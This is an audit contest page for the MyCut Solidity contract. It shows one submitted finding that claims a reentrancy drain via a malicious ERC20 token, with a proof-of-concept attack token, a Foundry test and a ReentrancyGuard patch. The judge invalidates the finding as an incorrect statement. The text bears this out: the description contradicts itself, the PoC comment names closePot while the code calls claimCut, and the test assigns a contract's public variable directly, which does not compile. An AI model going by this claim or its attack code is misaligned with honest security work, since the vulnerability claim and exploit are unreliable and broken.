MyCut

AI First Flight #8
Beginner FriendlyFoundry
EXP
View results
Submission Details
Impact: high
Likelihood: medium
Invalid

claimCut has no reentrancy protection allowing a malicious ERC20 token to drain the pot

Root + Impact

Description

  • claimCut updates state and then calls _transferReward which calls i_token.transfer. If the token is a malicious ERC20 with a hook on transfer (ERC777 or similar), the attacker can re-enter claimCut before the state update completes. While playersToRewards[player] = 0 is set before the transfer, remainingRewards is decremented before transfer creating a window.Explain the specific issue or problem in one or more sentences

  • More critically, closePot calls _transferReward inside a loop with no reentrancy guard - a malicious claimant receiving funds can re-enter closePot during the loop and drain remaining funds.

function closePot() external onlyOwner {
if (remainingRewards > 0) {
uint256 managerCut = remainingRewards / managerCutPercent;
i_token.transfer(msg.sender, managerCut);
uint256 claimantCut = (remainingRewards - managerCut) / i_players.length;
for (uint256 i = 0; i < claimants.length; i++) {
_transferReward(claimants[i], claimantCut); // reentrancy possible here
}
// remainingRewards never updated during loop
}
}

Risk

Likelihood:

  • Protocol supports "Standard ERC20 Tokens Only" per scope - reduces but doesn't eliminate risk

  • Any ERC777 or token with transfer hooks is exploitable

Impact:

  • Complete drain of pot funds

  • All claimants lose their rewards

Proof of Concept

contract MaliciousToken is ERC20Mock {
Pot public pot;
bool public attacking;
constructor() ERC20Mock("MAL", "MAL", msg.sender, 1000e18) {}
function setPot(address _pot) external {
pot = Pot(_pot);
}
function transfer(address to, uint256 amount) public override returns (bool) {
if (attacking && address(pot) != address(0)) {
attacking = false;
// Reenter closePot during distribution
pot.claimCut();
}
return super.transfer(to, amount);
}
}
function testReentrancyDrainsPot() public {
MaliciousToken malToken = new MaliciousToken();
address[] memory players = new address[](1);
players[0] = player1;
uint256[] memory rewards = new uint256[](1);
rewards[0] = 100e18;
vm.prank(user);
address potAddr = ContestManager(conMan).createContest(
players, rewards, IERC20(malToken), 100e18
);
malToken.setPot(potAddr);
malToken.mint(potAddr, 100e18);
// Player1 triggers attack via malicious token hook
malToken.attacking = true;
vm.prank(player1);
Pot(potAddr).claimCut();
// Pot drained beyond player1's allocated reward
assertEq(malToken.balanceOf(potAddr), 0);
assertGt(malToken.balanceOf(player1), 100e18);
}

Recommended Mitigation

+ import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
- contract Pot is Ownable(msg.sender) {
+ contract Pot is Ownable(msg.sender), ReentrancyGuard {
- function claimCut() public {
+ function claimCut() public nonReentrant {
- function closePot() external onlyOwner {
+ function closePot() external onlyOwner nonReentrant {
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!